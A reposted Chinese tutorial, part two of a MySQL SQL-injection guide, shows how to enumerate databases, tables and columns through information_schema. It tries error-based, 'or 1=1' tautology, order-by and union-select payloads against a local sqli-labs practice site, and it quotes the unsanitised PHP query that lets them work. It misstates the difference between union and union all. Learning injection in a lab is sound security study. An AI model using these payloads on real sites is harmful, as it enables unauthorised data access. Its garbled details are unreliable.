一篇Mysql注入最全详解(2)

来源:互联网 发布:算法c语言实现pdf 网盘 编辑:程序博客网 时间:2024/06/09 18:22

一篇Mysql注入最全详解(2)

一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。

现在做一些mysql的基本操作。启动mysql,然后通过查询检查下数据库:

show databases;

一篇Mysql注入最全详解(2)

一篇Mysql注入最全详解(2)

现在我们可以看到这里有四张表,然后我们来看下这张表的结构。

desc emails;

一篇Mysql注入最全详解(2)

一篇Mysql注入最全详解(2)

在继续进行前台攻击时,我们想讨论下系统数据库,即information_schema。所以我们使用它.

use information_schema

让我们来看下表格。

show tables;

一篇Mysql注入最全详解(2)

一篇Mysql注入最全详解(2)

现在我们先来枚举这张表

desc tables;

现在我们来使用这个查询:

select table_name frominformation_schema.table where table_schema = "security";

使用这个查询,我们可以下载到表名。

一篇Mysql注入最全详解(2)

Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列

Select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容

Select *** from ****

我们可以在 http://127.0.0.1/sqllib/Less-5/?id=1 后面直接添加一个 ‘ ,来看一下效果:

一篇Mysql注入最全详解(2)

从上述错误当中,我们可以看到提交到sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1,多加了一个 ’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的‘ 去掉呢?

尝试 ‘or 1=1--+

此时构造的 sql 语句就成了

Select ****** where id='1'or 1=1--+' LIMIT 0,1

一篇Mysql注入最全详解(2)

可以看到正常返回数据。此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4--+的结果显示结果超出。

一篇Mysql注入最全详解(2)

最后从源代码中分析下为什么会造成注入?

Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT0,1";

Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+,直接构造的 sql 语句就是

SELECT * FROM users WHERE id=’1’or1=1--+ LIMIT 0,1

这条语句因 or 1=1 所以为永恒真。

一篇Mysql注入最全详解(2)

此外,此处介绍 union联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。我们这里根据上述 background 的知识,进行 information_schema 知识的应用。

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+

当 id 的数据在数据库中不存在时,(此时我们可以id=-1,两个 sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。

未完待续.......................

End.

文章转载自:数据库SQL

原创粉丝点击